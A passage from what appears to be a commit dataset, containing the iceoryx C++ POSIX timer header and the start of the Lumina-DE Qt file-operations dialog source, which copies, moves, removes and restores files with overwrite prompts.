static_assert(SIZE_OF_SIGVAL_INT >= SIZE_OF_COMBINDED_INDEX_AND_DESCRIPTOR, \"size of sigval_int is to low\");\n\n static constexpr uint32_t MAX_NUMBER_OF_CALLBACK_HANDLES = 100;\n static_assert(MAX_NUMBER_OF_CALLBACK_HANDLES <= std::numeric_limits<uint8_t>::max(),\n \"number of callback handles exceeds max index value\");\n class OsTimer;\n struct OsTimerCallbackHandle\n {\n static constexpr uint32_t MAX_DESCRIPTOR_VALUE{(2 ^ 24) - 1};\n static sigval indexAndDescriptorToSigval(uint8_t index, uint32_t descriptor);\n static uint8_t sigvalToIndex(sigval intVal);\n static uint32_t sigvalToDescriptor(sigval intVal);\n\n void incrementDescriptor();\n\n std::mutex m_accessMutex;\n\n \/\/\/ @brief the descriptor is unique for a timer_t in OsTimer, if this handle is recycled, the descriptor needs\n \/\/\/ to be incremented first\n std::atomic<uint32_t> m_descriptor{0};\n\n std::atomic<bool> m_inUse{false};\n std::atomic<bool> m_isTimerActive{false};\n\n OsTimer* m_timer{nullptr};\n };\n\n class OsTimer\n {\n#ifdef __QNX__\n static constexpr timer_t INVALID_TIMER_ID = 0;\n#else\n static constexpr timer_t INVALID_TIMER_ID = nullptr;\n#endif\n public:\n \/\/\/ @brief Wrapper that can be registered with the operating system\n static void callbackHelper(sigval data);\n\n OsTimer(units::Duration timeToWait, std::function<void()> callback) noexcept;\n\n OsTimer(const OsTimer&) = delete;\n OsTimer(OsTimer&&) = delete;\n OsTimer& operator=(const OsTimer&) = delete;\n OsTimer& operator=(OsTimer&&) = delete;\n\n \/\/\/ @brief D'tor\n virtual ~OsTimer() noexcept;\n\n \/\/\/ @brief Starts the timer\n \/\/\/\n \/\/\/ The callback is called by the operating system after the time has expired.\n \/\/\/\n \/\/\/ @param[in] periodic - can be a periodic timer if set to true, default false\n \/\/\/ @note Shall only be called when callback is given\n cxx::expected<TimerError> start(const RunMode runMode) noexcept;\n\n \/\/\/ @brief Disarms the timer\n \/\/\/ @note Shall only be called when callback is given, guarantee after stop() call is callback is immediately\n \/\/\/ called or never at all\n cxx::expected<TimerError> stop() noexcept;\n\n \/\/\/ @brief Disarms the timer, assigns a new timeToWait value and arms the timer\n \/\/\/ @note Shall only be called when callback is given\n cxx::expected<TimerError> restart(const units::Duration timeToWait, const RunMode runMode) noexcept;\n\n \/\/ @brief Returns the time until the timer expires the next time\n \/\/\/ @note Shall only be called when callback is given\n cxx::expected<units::Duration, TimerError> timeUntilExpiration() noexcept;\n\n \/\/\/ @brief In case the callback is not immediately called by the operating system, getOverruns() returns the\n \/\/\/ additional overruns that happended in the delay interval\n \/\/\/ @note Shall only be called when callback is given\n cxx::expected<uint64_t, TimerError> getOverruns() noexcept;\n\n \/\/\/ @brief Returns true if the construction of the object was successful\n bool hasError() const noexcept;\n\n \/\/\/ @brief Returns the error that occured on constructing the object\n cxx::error<TimerError> getError() const noexcept;\n\n private:\n \/\/\/ @brief Call the user-defined callback\n \/\/\/ @note This call is wrapped in a plain C function\n void executeCallback() noexcept;\n\n\n private:\n \/\/\/ @brief Duration after the timer calls the user-defined callback function\n units::Duration m_timeToWait;\n\n \/\/\/ @brief Stores the user-defined callback\n std::function<void()> m_callback;\n\n \/\/\/ @brief Identifier for the timer in the operating system\n timer_t m_timerId{INVALID_TIMER_ID};\n\n uint8_t m_callbackHandleIndex{0};\n\n \/\/\/ @todo will be obsolete with creation pattern\n \/\/\/ @brief Bool that signals whether the object is fully initalized\n bool m_isInitialized{false};\n\n \/\/\/ @todo creation pattern\n \/\/\/ @brief If an error happened during creation the value is stored in here\n TimerError m_errorValue{TimerError::NO_ERROR};\n\n static OsTimerCallbackHandle s_callbackHandlePool[MAX_NUMBER_OF_CALLBACK_HANDLES];\n };\n\n public:\n \/\/\/ @brief Creates a timer without an operating system callback\n \/\/\/\n \/\/\/ Creates a light-weight timer object that can be used with\n \/\/\/ * hasExpiredComparedToCreationTime()\n \/\/\/ * resetCreationTime()\n \/\/\/\n \/\/\/ @param[in] timeToWait - How long should be waited?\n \/\/\/ @note Does not set up an operating system timer, but uses CLOCK_REALTIME instead\n \/\/\/ @todo refactor this cTor and its functionality to a class called StopWatch\n Timer(units::Duration timeToWait) noexcept;\n\n \/\/\/ @brief Creates a timer with an operating system callback\n \/\/\/\n \/\/\/ Initially the timer is stopped.\n \/\/\/\n \/\/\/ @param[in] timeToWait - How long should be waited?\n \/\/\/ @param[in] callback - Function called after timeToWait (User needs to ensure lifetime of function till stop()\n \/\/\/ call)\n \/\/\/ @note Operating systems needs a valid reference to this object, hence DesignPattern::Creation can't be used\n Timer(units::Duration timeToWait, std::function<void()> callback) noexcept;\n\n \/\/\/ @brief creates Duration from the result of clock_gettime(CLOCK_REALTIME, ...)\n \/\/\/ @return if the clock_gettime call failed TimerError is returned otherwise Duration\n \/\/\/ @todo maybe move this to a clock implementation?\n static cxx::expected<units::Duration, TimerError> now() noexcept;\n\n \/\/\/ @brief Move or semantics are forbidden as address of object is not allowed to change\n Timer(const Timer& other) = delete;\n\n \/\/\/ @brief Move or semantics are forbidden as address of object is not allowed to change\n Timer(Timer&& other) = delete;\n\n \/\/\/ @brief Move or semantics are forbidden as address of object is not allowed to change\n Timer& operator=(const Timer& other) = delete;\n\n \/\/\/ @brief Move or semantics are forbidden as address of object is not allowed to change\n Timer& operator=(Timer&& other) = delete;\n\n \/\/\/ @brief D'tor\n virtual ~Timer() noexcept = default;\n\n \/\/\/ @brief Starts the timer\n \/\/\/\n \/\/\/ The callback is called by the operating system after the time has expired.\n \/\/\/\n \/\/\/ @param[in] periodic - can be a periodic timer if set to true, default false\n \/\/\/ @note Shall only be called when callback is given\n \/\/\/ @todo replace bool with enum; SingleShot and Periodic\n cxx::expected<TimerError> start(const RunMode runMode) noexcept;\n\n \/\/\/ @brief Disarms the timer\n \/\/\/ @note Shall only be called when callback is given, guarantee after stop() call is callback is immediately\n \/\/\/ called or never at all\n cxx::expected<TimerError> stop() noexcept;\n\n \/\/\/ @brief Disarms the timer, assigns a new timeToWait value and arms the timer\n \/\/\/ @note Shall only be called when callback is given\n cxx::expected<TimerError> restart(const units::Duration timeToWait, const RunMode runMode) noexcept;\n\n \/\/\/ @brief Resets the internal creation time\n void resetCreationTime() noexcept;\n\n \/\/\/ @brief Checks if the timer has expired compared to its creation time\n \/\/\/ @return Is the elapsed time larger than timeToWait?\n bool hasExpiredComparedToCreationTime() noexcept;\n\n \/\/ @brief Returns the time until the timer expires the next time\n \/\/\/ @note Shall only be called when callback is given\n cxx::expected<units::Duration, TimerError> timeUntilExpiration() noexcept;\n\n \/\/\/ @brief In case the callback is not immediately called by the operating system, getOverruns() returns the\n \/\/\/ additional overruns that happended in the delay interval\n \/\/\/ @note Shall only be called when callback is given\n cxx::expected<uint64_t, TimerError> getOverruns() noexcept;\n\n \/\/\/ @brief Returns true if the construction of the object was successful\n bool hasError() const noexcept;\n\n \/\/\/ @brief Returns the error that occured on constructing the object\n cxx::error<TimerError> getError() const noexcept;\n\n private:\n cxx::optional<OsTimer> m_osTimer;\n\n \/\/\/ @brief Converts errnum to TimerError\n static cxx::error<TimerError> createErrorFromErrno(const int errnum) noexcept;\n\n \/\/\/ @brief Duration after the timer calls the user-defined callback function\n units::Duration m_timeToWait;\n\n \/\/\/ @brief Time when the timer object was created\n units::Duration m_creationTime;\n\n \/\/\/ @brief If an error happened during creation the value is stored in here\n TimerError m_errorValue{TimerError::NO_ERROR};\n};\n\n} \/\/ namespace posix\n} \/\/ namespace iox\n<commit_msg>iox-#17 Update timer usage in example<commit_after>\/\/ Copyright (c) 2019 by Robert Bosch GmbH. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#pragma once\n\n#include \"iceoryx_utils\/cxx\/optional.hpp\"\n#include \"iceoryx_utils\/cxx\/vector.hpp\"\n#include \"iceoryx_utils\/design_pattern\/creation.hpp\"\n#include \"iceoryx_utils\/internal\/units\/duration.hpp\"\n\n#include <atomic>\n#include <condition_variable>\n#include <cstdint>\n#include <limits>\n#include <signal.h>\n#include <sys\/time.h>\n#include <time.h>\n\nnamespace iox\n{\nnamespace posix\n{\nenum class TimerError\n{\n NO_ERROR,\n TIMER_NOT_INITIALIZED,\n NO_VALID_CALLBACK,\n KERNEL_ALLOC_FAILED,\n INVALID_ARGUMENTS,\n ALLOC_MEM_FAILED,\n NO_PERMISSION,\n INVALID_POINTER,\n NO_TIMER_TO_DELETE,\n INTERNAL_LOGIC_ERROR\n};\n\nusing namespace iox::units::duration_literals;\n\n\n\/\/\/ @brief Interface for timers on POSIX operating systems\n\/\/\/ @note Can't be copied or moved as operating system has a pointer to this object. It needs to be ensured that this\n\/\/\/ object lives longer than timeToWait, otherwise the operating system will unregister the timer\n\/\/\/ @concurrent not thread safe\n\/\/\/\n\/\/\/ @code\n\/\/\/ posix::Timer TiborTheTimer{100_ms, [&]() { fooBar++; }};\n\/\/\/\n\/\/\/ \/\/ Start a periodic timer\n\/\/\/ TiborTheTimer.start(true);\n\/\/\/ \/\/ [.. wait ..]\n\/\/\/ \/\/ Timer fires after 100_ms and calls the lambda which increments fooBar\n\/\/\/\n\/\/\/ TiborTheTimer.stop();\n\/\/\/\n\/\/\/ @endcode\nclass Timer\n{\n public:\n enum class RunMode\n {\n ONCE,\n PERIODIC\n };\n\n private:\n static constexpr size_t SIZE_OF_COMBINDED_INDEX_AND_DESCRIPTOR = sizeof(uint32_t);\n static constexpr size_t SIZE_OF_SIGVAL_INT = sizeof(int);\n static_assert(SIZE_OF_SIGVAL_INT >= SIZE_OF_COMBINDED_INDEX_AND_DESCRIPTOR, \"size of sigval_int is to low\");\n\n static constexpr uint32_t MAX_NUMBER_OF_CALLBACK_HANDLES = 100;\n static_assert(MAX_NUMBER_OF_CALLBACK_HANDLES <= std::numeric_limits<uint8_t>::max(),\n \"number of callback handles exceeds max index value\");\n class OsTimer;\n struct OsTimerCallbackHandle\n {\n static constexpr uint32_t MAX_DESCRIPTOR_VALUE{(2 ^ 24) - 1};\n static sigval indexAndDescriptorToSigval(uint8_t index, uint32_t descriptor);\n static uint8_t sigvalToIndex(sigval intVal);\n static uint32_t sigvalToDescriptor(sigval intVal);\n\n void incrementDescriptor();\n\n std::mutex m_accessMutex;\n\n \/\/\/ @brief the descriptor is unique for a timer_t in OsTimer, if this handle is recycled, the descriptor needs\n \/\/\/ to be incremented first\n std::atomic<uint32_t> m_descriptor{0};\n\n std::atomic<bool> m_inUse{false};\n std::atomic<bool> m_isTimerActive{false};\n\n OsTimer* m_timer{nullptr};\n };\n\n class OsTimer\n {\n#ifdef __QNX__\n static constexpr timer_t INVALID_TIMER_ID = 0;\n#else\n static constexpr timer_t INVALID_TIMER_ID = nullptr;\n#endif\n public:\n \/\/\/ @brief Wrapper that can be registered with the operating system\n static void callbackHelper(sigval data);\n\n OsTimer(units::Duration timeToWait, std::function<void()> callback) noexcept;\n\n OsTimer(const OsTimer&) = delete;\n OsTimer(OsTimer&&) = delete;\n OsTimer& operator=(const OsTimer&) = delete;\n OsTimer& operator=(OsTimer&&) = delete;\n\n \/\/\/ @brief D'tor\n virtual ~OsTimer() noexcept;\n\n \/\/\/ @brief Starts the timer\n \/\/\/\n \/\/\/ The callback is called by the operating system after the time has expired.\n \/\/\/\n \/\/\/ @param[in] periodic - can be a periodic timer if set to true, default false\n \/\/\/ @note Shall only be called when callback is given\n cxx::expected<TimerError> start(const RunMode runMode) noexcept;\n\n \/\/\/ @brief Disarms the timer\n \/\/\/ @note Shall only be called when callback is given, guarantee after stop() call is callback is immediately\n \/\/\/ called or never at all\n cxx::expected<TimerError> stop() noexcept;\n\n \/\/\/ @brief Disarms the timer, assigns a new timeToWait value and arms the timer\n \/\/\/ @note Shall only be called when callback is given\n cxx::expected<TimerError> restart(const units::Duration timeToWait, const RunMode runMode) noexcept;\n\n \/\/ @brief Returns the time until the timer expires the next time\n \/\/\/ @note Shall only be called when callback is given\n cxx::expected<units::Duration, TimerError> timeUntilExpiration() noexcept;\n\n \/\/\/ @brief In case the callback is not immediately called by the operating system, getOverruns() returns the\n \/\/\/ additional overruns that happended in the delay interval\n \/\/\/ @note Shall only be called when callback is given\n cxx::expected<uint64_t, TimerError> getOverruns() noexcept;\n\n \/\/\/ @brief Returns true if the construction of the object was successful\n bool hasError() const noexcept;\n\n \/\/\/ @brief Returns the error that occured on constructing the object\n cxx::error<TimerError> getError() const noexcept;\n\n private:\n \/\/\/ @brief Call the user-defined callback\n \/\/\/ @note This call is wrapped in a plain C function\n void executeCallback() noexcept;\n\n\n private:\n \/\/\/ @brief Duration after the timer calls the user-defined callback function\n units::Duration m_timeToWait;\n\n \/\/\/ @brief Stores the user-defined callback\n std::function<void()> m_callback;\n\n \/\/\/ @brief Identifier for the timer in the operating system\n timer_t m_timerId{INVALID_TIMER_ID};\n\n uint8_t m_callbackHandleIndex{0};\n\n \/\/\/ @todo will be obsolete with creation pattern\n \/\/\/ @brief Bool that signals whether the object is fully initalized\n bool m_isInitialized{false};\n\n \/\/\/ @todo creation pattern\n \/\/\/ @brief If an error happened during creation the value is stored in here\n TimerError m_errorValue{TimerError::NO_ERROR};\n\n static OsTimerCallbackHandle s_callbackHandlePool[MAX_NUMBER_OF_CALLBACK_HANDLES];\n };\n\n public:\n \/\/\/ @brief Creates a timer without an operating system callback\n \/\/\/\n \/\/\/ Creates a light-weight timer object that can be used with\n \/\/\/ * hasExpiredComparedToCreationTime()\n \/\/\/ * resetCreationTime()\n \/\/\/\n \/\/\/ @param[in] timeToWait - How long should be waited?\n \/\/\/ @note Does not set up an operating system timer, but uses CLOCK_REALTIME instead\n \/\/\/ @todo refactor this cTor and its functionality to a class called StopWatch\n Timer(units::Duration timeToWait) noexcept;\n\n \/\/\/ @brief Creates a timer with an operating system callback\n \/\/\/\n \/\/\/ Initially the timer is stopped.\n \/\/\/\n \/\/\/ @param[in] timeToWait - How long should be waited?\n \/\/\/ @param[in] callback - Function called after timeToWait (User needs to ensure lifetime of function till stop()\n \/\/\/ call)\n \/\/\/ @note Operating systems needs a valid reference to this object, hence DesignPattern::Creation can't be used\n Timer(units::Duration timeToWait, std::function<void()> callback) noexcept;\n\n \/\/\/ @brief creates Duration from the result of clock_gettime(CLOCK_REALTIME, ...)\n \/\/\/ @return if the clock_gettime call failed TimerError is returned otherwise Duration\n \/\/\/ @todo maybe move this to a clock implementation?\n static cxx::expected<units::Duration, TimerError> now() noexcept;\n\n \/\/\/ @brief Move or semantics are forbidden as address of object is not allowed to change\n Timer(const Timer& other) = delete;\n\n \/\/\/ @brief Move or semantics are forbidden as address of object is not allowed to change\n Timer(Timer&& other) = delete;\n\n \/\/\/ @brief Move or semantics are forbidden as address of object is not allowed to change\n Timer& operator=(const Timer& other) = delete;\n\n \/\/\/ @brief Move or semantics are forbidden as address of object is not allowed to change\n Timer& operator=(Timer&& other) = delete;\n\n \/\/\/ @brief D'tor\n virtual ~Timer() noexcept = default;\n\n \/\/\/ @brief Starts the timer\n \/\/\/\n \/\/\/ The callback is called by the operating system after the time has expired.\n \/\/\/\n \/\/\/ @param[in] periodic - can be a periodic timer if set to true, default false\n \/\/\/ @note Shall only be called when callback is given\n \/\/\/ @todo replace bool with enum; SingleShot and Periodic\n cxx::expected<TimerError> start(const RunMode runMode) noexcept;\n\n \/\/\/ @brief Disarms the timer\n \/\/\/ @note Shall only be called when callback is given, guarantee after stop() call is callback is immediately\n \/\/\/ called or never at all\n cxx::expected<TimerError> stop() noexcept;\n\n \/\/\/ @brief Disarms the timer, assigns a new timeToWait value and arms the timer\n \/\/\/ @note Shall only be called when callback is given\n cxx::expected<TimerError> restart(const units::Duration timeToWait, const RunMode runMode) noexcept;\n\n \/\/\/ @brief Resets the internal creation time\n void resetCreationTime() noexcept;\n\n \/\/\/ @brief Checks if the timer has expired compared to its creation time\n \/\/\/ @return Is the elapsed time larger than timeToWait?\n bool hasExpiredComparedToCreationTime() noexcept;\n\n \/\/ @brief Returns the time until the timer expires the next time\n \/\/\/ @note Shall only be called when callback is given\n cxx::expected<units::Duration, TimerError> timeUntilExpiration() noexcept;\n\n \/\/\/ @brief In case the callback is not immediately called by the operating system, getOverruns() returns the\n \/\/\/ additional overruns that happended in the delay interval\n \/\/\/ @note Shall only be called when callback is given\n cxx::expected<uint64_t, TimerError> getOverruns() noexcept;\n\n \/\/\/ @brief Returns true if the construction of the object was successful\n bool hasError() const noexcept;\n\n \/\/\/ @brief Returns the error that occured on constructing the object\n cxx::error<TimerError> getError() const noexcept;\n\n private:\n cxx::optional<OsTimer> m_osTimer;\n\n \/\/\/ @brief Converts errnum to TimerError\n static cxx::error<TimerError> createErrorFromErrno(const int errnum) noexcept;\n\n \/\/\/ @brief Duration after the timer calls the user-defined callback function\n units::Duration m_timeToWait;\n\n \/\/\/ @brief Time when the timer object was created\n units::Duration m_creationTime;\n\n \/\/\/ @brief If an error happened during creation the value is stored in here\n TimerError m_errorValue{TimerError::NO_ERROR};\n};\n\n} \/\/ namespace posix\n} \/\/ namespace iox\n<|endoftext|>"} {"text":"<commit_before>\/\/===========================================\n\/\/ Lumina-DE source code\n\/\/ Copyright (c) 2014, Ken Moore\n\/\/ Available under the 3-clause BSD license\n\/\/ See the LICENSE file for full details\n\/\/===========================================\n#include \"FODialog.h\"\n#include \"ui_FODialog.h\"\n\n#include <QApplication>\n#include <QFontMetrics>\n\nFODialog::FODialog(QWidget *parent) : QDialog(parent), ui(new Ui::FODialog){\n ui->setupUi(this); \/\/load the designer file\n ui->label->setText(tr(\"Calculating\"));\n ui->progressBar->setVisible(false);\n ui->push_stop->setIcon( LXDG::findIcon(\"edit-delete\",\"\") );\n WorkThread = new QThread();\n Worker = new FOWorker();\n connect(Worker, SIGNAL(startingItem(int,int,QString,QString)), this, SLOT(UpdateItem(int,int,QString,QString)) );\n connect(Worker, SIGNAL(finished(QStringList)), this, SLOT(WorkDone(QStringList)) );\n Worker->moveToThread(WorkThread);\n WorkThread->start();\n\t\n \/\/Make sure this dialog is centered on the parent\n if(parent!=0){\n QPoint ctr = parent->geometry().center();\n this->move( ctr.x()-(this->width()\/2), ctr.y()-(this->height()\/2) );\n }\n this->show();\n}\n\nFODialog::~FODialog(){\n Worker->stopped = true; \/\/just in case it might still be running when closed\n WorkThread->quit();\n WorkThread->wait();\n delete Worker;\n \/\/delete WorkThread;\n}\n\nvoid FODialog::setOverwrite(bool ovw){\n if(ovw){ Worker->overwrite = 1; }\n else{ Worker->overwrite = 0; }\n}\n\n\/\/Public \"start\" functions\nvoid FODialog::RemoveFiles(QStringList paths){\n Worker->ofiles = paths;\n Worker->isRM = true;\n if(CheckOverwrite()){\n QTimer::singleShot(10,Worker, SLOT(slotStartOperations()));\n }else{\n this->close();\n }\n}\n\nvoid FODialog::CopyFiles(QStringList oldPaths, QStringList newPaths){ \t \n \/\/same permissions as old files\n if(oldPaths.length() == newPaths.length()){\n Worker->ofiles = oldPaths; \n Worker->nfiles = newPaths;\n }\n Worker->isCP=true;\n if(CheckOverwrite()){\n QTimer::singleShot(10,Worker, SLOT(slotStartOperations()));\n }else{\n this->close();\n }\n}\n\nvoid FODialog::RestoreFiles(QStringList oldPaths, QStringList newPaths){\n \/\/user\/group rw permissions\n if(oldPaths.length() == newPaths.length()){\n Worker->ofiles = oldPaths; \n Worker->nfiles = newPaths;\n }\n Worker->isRESTORE = true;\n if(CheckOverwrite()){\n QTimer::singleShot(10,Worker, SLOT(slotStartOperations()));\n }else{\n this->close();\n }\n}\n\nvoid FODialog::MoveFiles(QStringList oldPaths, QStringList newPaths){\n \/\/no change in permissions\n if(oldPaths.length() == newPaths.length()){\n Worker->ofiles = oldPaths; \\\n Worker->nfiles = newPaths;\n }\n Worker->isMV=true;\n if(CheckOverwrite()){\n QTimer::singleShot(10,Worker, SLOT(slotStartOperations()));\n }else{\n this->close();\n }\n}\n\nbool FODialog::CheckOverwrite(){\n bool ok = true;\n if(!Worker->isRM && Worker->overwrite==-1){\n \/\/Check if the new files already exist, and prompt for action\n QStringList existing;\n for(int i=0; i<Worker->nfiles.length(); i++){\n if(QFile::exists(Worker->nfiles[i])){ existing << Worker->nfiles[i].section(\"\/\",-1); }\n }\n if(!existing.isEmpty()){\n \/\/Prompt for whether to overwrite, not overwrite, or cancel\n QMessageBox::StandardButton ans = QMessageBox::question(this, tr(\"Overwrite Files?\"), tr(\"Do you want to overwrite the existing files?\")+\"\\n\"+tr(\"Note: It will just add a number to the filename otherwise.\")+\"\\n\\n\"+existing.join(\", \"), QMessageBox::YesToAll | QMessageBox::NoToAll | QMessageBox::Cancel, QMessageBox::NoToAll);\n if(ans==QMessageBox::NoToAll){ Worker->overwrite = 0; } \/\/don't overwrite\n else if(ans==QMessageBox::YesToAll){ Worker->overwrite = 1; } \/\/overwrite\n else{ ok = false; } \/\/cancel operations\n }\n }\n QApplication::processEvents();\n QApplication::processEvents();\n return ok;\n}\n\nvoid FODialog::UpdateItem(int cur, int tot, QString oitem, QString nitem){\n ui->progressBar->setRange(0,tot);\n ui->progressBar->setValue(cur);\n ui->progressBar->setVisible(true);\n QString msg;\n if(Worker->isRM){ msg = tr(\"Removing: %1\"); }\n else if(Worker->isCP){ msg = tr(\"Copying: %1 to %2\"); }\n else if(Worker->isRESTORE){ msg = tr(\"Restoring: %1 as %2\"); }\n else if(Worker->isMV){ msg = tr(\"Moving: %1 to %2\"); }\n if(msg.contains(\"%2\")){\n msg = msg.arg(oitem.section(\"\/\",-1), nitem.section(\"\/\",-1));\n }else{\n msg = msg.arg(oitem.section(\"\/\",-1));\n }\n msg = ui->label->fontMetrics().elidedText(msg, Qt::ElideRight, ui->label->width());\n ui->label->setText( msg );\n}\n\nvoid FODialog::WorkDone(QStringList errlist){\n if(!errlist.isEmpty()){\n QString msg;\n if(Worker->isRM){ msg = tr(\"Could not remove these files:\"); }\n else if(Worker->isCP){ msg = tr(\"Could not copy these files:\"); }\n else if(Worker->isRESTORE){ msg = tr(\"Could not restore these files:\"); }\n else if(Worker->isMV){ msg = tr(\"Could not move these files:\"); }\n QMessageBox::warning(this, tr(\"File Errors\"), msg+\"\\n\\n\"+errlist.join(\"\\n\"));\n }\n noerrors = errlist.isEmpty();\n this->close();\n}\n\nvoid FODialog::on_push_stop_clicked(){\n Worker->stopped = true;\n}\n\n\/\/ ===================\n\/\/ ==== FOWorker Class ====\n\/\/ ===================\nQStringList FOWorker::subfiles(QString dirpath, bool dirsfirst){\n \/\/NOTE: dirpath (input) is always the first\/last item in the output as well!\n QStringList out;\n if(dirsfirst){ out << dirpath; }\n if( QFileInfo(dirpath).isDir() ){\n QDir dir(dirpath);\n if(dirsfirst){\n \/\/Now recursively add any subdirectories and their contents\n QStringList subdirs = dir.entryList(QDir::Dirs | QDir::NoDotAndDotDot | QDir::Hidden, QDir::NoSort);\n for(int i=0; i<subdirs.length(); i++){ out << subfiles(dir.absoluteFilePath(subdirs[i]), dirsfirst); }\n }\n \/\/List the files\n QStringList files = dir.entryList(QDir::Files | QDir::NoDotAndDotDot | QDir::Hidden, QDir::NoSort);\n for(int i=0; i<files.length(); i++){ out << dir.absoluteFilePath(files[i]); }\n \n if(!dirsfirst){\n \/\/Now recursively add any subdirectories and their contents\n QStringList subdirs = dir.entryList(QDir::Dirs | QDir::NoDotAndDotDot | QDir::Hidden, QDir::NoSort);\n for(int i=0; i<subdirs.length(); i++){ out << subfiles(dir.absoluteFilePath(subdirs[i]), dirsfirst); }\n }\n }\n if(!dirsfirst){ out << dirpath; }\n return out;\n}\n\nQString FOWorker::newFileName(QString path){\n int num=1;\n QString extension = path.section(\"\/\",-1).section(\".\",-1);\n if( path.section(\"\/\",-1) == \".\"+extension || extension ==path.section(\"\/\",-1) ){ extension.clear(); } \/\/just a hidden file without extension or directory\n if(!extension.isEmpty() ){ \n extension.prepend(\".\"); \n path.chop(extension.length());\n }\n while( QFile::exists(path+\"-\"+QString::number(num)+extension) ){ num++; }\n return QString(path+\"-\"+QString::number(num)+extension);\n}\n\nQStringList FOWorker::removeItem(QString path, bool recursive){\n \/\/qDebug() << \"Remove Path:\" << path;\n QStringList items;\n if(recursive){ items = subfiles(path,false); }\n else{ items << path; } \/\/only the given path\n \/\/qDebug() << \" - Subfiles:\" << items;\n QStringList err;\t\n for(int i=0; i<items.length(); i++){\n if(QFileInfo(items[i]).isDir()){\n if(items[i]==path){\n \/\/Current Directory Removal\n QDir dir;\n if( !dir.rmdir(items[i]) ){ err << items[i]; }\t\t \n }else{\n \/\/Recursive Directory Removal\n err << removeItem(items[i], recursive);\t \n }\n }else{\n \/\/Simple File Removal\n if( !QFile::remove(items[i]) ){ err << items[i]; }\t \n }\n }\n return err;\n}\n\nQStringList FOWorker::copyItem(QString oldpath, QString newpath){\n QStringList err;\n if(oldpath == newpath){ return err; } \/\/copy something onto itself - just skip it \n if(QFileInfo(oldpath).isDir()){\n \/\/Create a new directory with the same name (no way to copy dir+contents)\n QDir dir;\n if( !dir.mkpath(newpath) ){ err << oldpath; }\n }else{\n \/\/Copy the file and reset permissions as necessary\n if( !QFile::copy(oldpath, newpath) ){ err << oldpath; }\n else{\n if(isCP){\n\tQFile::setPermissions(newpath, QFile::permissions(oldpath));\n\t\/\/Nothing special for copies at the moment (might be something we run into later)\n }else if(isRESTORE){\n\tQFile::setPermissions(newpath, QFile::permissions(oldpath));\n\t\/\/Nothing special for restores at the moment (might be something we run into later)\n }\n }\n }\n return err;\n}\n\n\/\/ ==== PRIVATE SLOTS ====\nvoid FOWorker::slotStartOperations(){\n \/\/qDebug() << \"Start File operations\" << isRM << isCP << isMV << ofiles << nfiles;\n \/\/Now setup the UI\n \/*ui->progressBar->setRange(0,ofiles.length());\n ui->progressBar->setValue(0);\n ui->progressBar->setVisible(true);\n QApplication::processEvents();*\/\n \/*if(!isRM && overwrite==-1){\n \/\/Check if the new files already exist, and prompt for action\n QStringList existing;\n for(int i=0; i<nfiles.length(); i++){\n if(QFile::exists(nfiles[i])){ existing << nfiles[i].section(\"\/\",-1); }\n }\n if(!existing.isEmpty()){\n \/\/Prompt for whether to overwrite, not overwrite, or cancel\n QMessageBox::StandardButton ans = QMessageBox::question(this, tr(\"Overwrite Files?\"), tr(\"Do you want to overwrite the existing files?\")+\"\\n\"+tr(\"Note: It will just add a number to the filename otherwise.\")+\"\\n\\n\"+existing.join(\", \"), QMessageBox::YesToAll | QMessageBox::NoToAll | QMessageBox::Cancel, QMessageBox::NoToAll);\n if(ans==QMessageBox::NoToAll){ overwrite = 0; } \/\/don't overwrite\n else if(ans==QMessageBox::YesToAll){ overwrite = 1; } \/\/overwrite\n else{ emit finished(QStringList()); return; } \/\/cancel operations\n }\n }*\/\n\t\n \/\/Get the complete number of items to be operated on (better tracking)\n QStringList olist, nlist; \/\/old\/new list to actually be used (not inputs - modified\/added as necessary)\n for(int i=0; i<ofiles.length() && !stopped; i++){\n if(isRM){ \/\/only old files\n olist << subfiles(ofiles[i], false); \/\/dirs need to be last for removals\n }else if(isCP || isRESTORE){\n if(QFile::exists(nfiles[i])){\n\tif(!overwrite){\n\t nfiles[i] = newFileName(nfiles[i]); \/\/prompt for new file name up front before anything starts\n\t}\n }\n QStringList subs = subfiles(ofiles[i], true); \/\/dirs need to be first for additions\n for(int s=0; s<subs.length(); s++){\n olist << subs[s];\n\tQString newsub = subs[s].section(ofiles[i],0,100, QString::SectionSkipEmpty); \n\t newsub.prepend(nfiles[i]);\n\tnlist << newsub;\n }\n }else{ \/\/Move\/rename\n if( nfiles[i].startsWith(ofiles[i]+\"\/\") ){\n\t\/\/This is trying to move a directory into itself (not possible)\n\t\/\/ Example: move \"~\/mydir\" -> \"~\/mydir\/mydir2\"\n\tQStringList err; err << tr(\"Invalid Move\") << QString(tr(\"It is not possible to move a directory into itself. Please make a copy of the directory instead.\\n\\nOld Location: %1\\nNew Location: %2\")).arg(ofiles[i], nfiles[i]);\n\temit finished(err); return;\n }else{\n\t\/\/Check for existance of the new name\n\tif(QFile::exists(nfiles[i])){\n\t if(!overwrite){\n\t nfiles[i] = newFileName(nfiles[i]); \/\/prompt for new file name up front before anything starts\n\t }\n }\n\t\/\/no changes necessary\n olist << ofiles[i];\n nlist << nfiles[i];\n }\n }\n }\n \/\/Now start iterating over the operations\n QStringList errlist;\n for(int i=0; i<olist.length() && !stopped; i++){\n if(isRM){\n \/*ui->label->setText( QString(tr(\"Removing: %1\")).arg(olist[i].section(\"\/\",-1)) );\n QApplication::processEvents();*\/\n emit startingItem(i+1,olist.length(), olist[i], \"\");\n errlist << removeItem(olist[i]);\n }else if(isCP || isRESTORE){\n \/*ui->label->setText( QString(tr(\"Copying: %1 to %2\")).arg(olist[i].section(\"\/\",-1), nlist[i].section(\"\/\",-1)) );\n QApplication::processEvents();*\/\n emit startingItem(i+1,olist.length(), olist[i],nlist[i]);\n if(QFile::exists(nlist[i])){\n\tif(overwrite){\n\t errlist << removeItem(nlist[i], true); \/\/recursively remove the file\/dir since we are supposed to overwrite it\n\t}\n }\n \/\/If a parent directory fails to copy, skip all the children as well (they will also fail)\n \/\/QApplication::processEvents();\n if( !errlist.contains(olist[i].section(\"\/\",0,-1)) ){ \n errlist << copyItem(olist[i], nlist[i]);\n }\n }else if(isMV){\n \/*ui->label->setText( QString(tr(\"Moving: %1 to 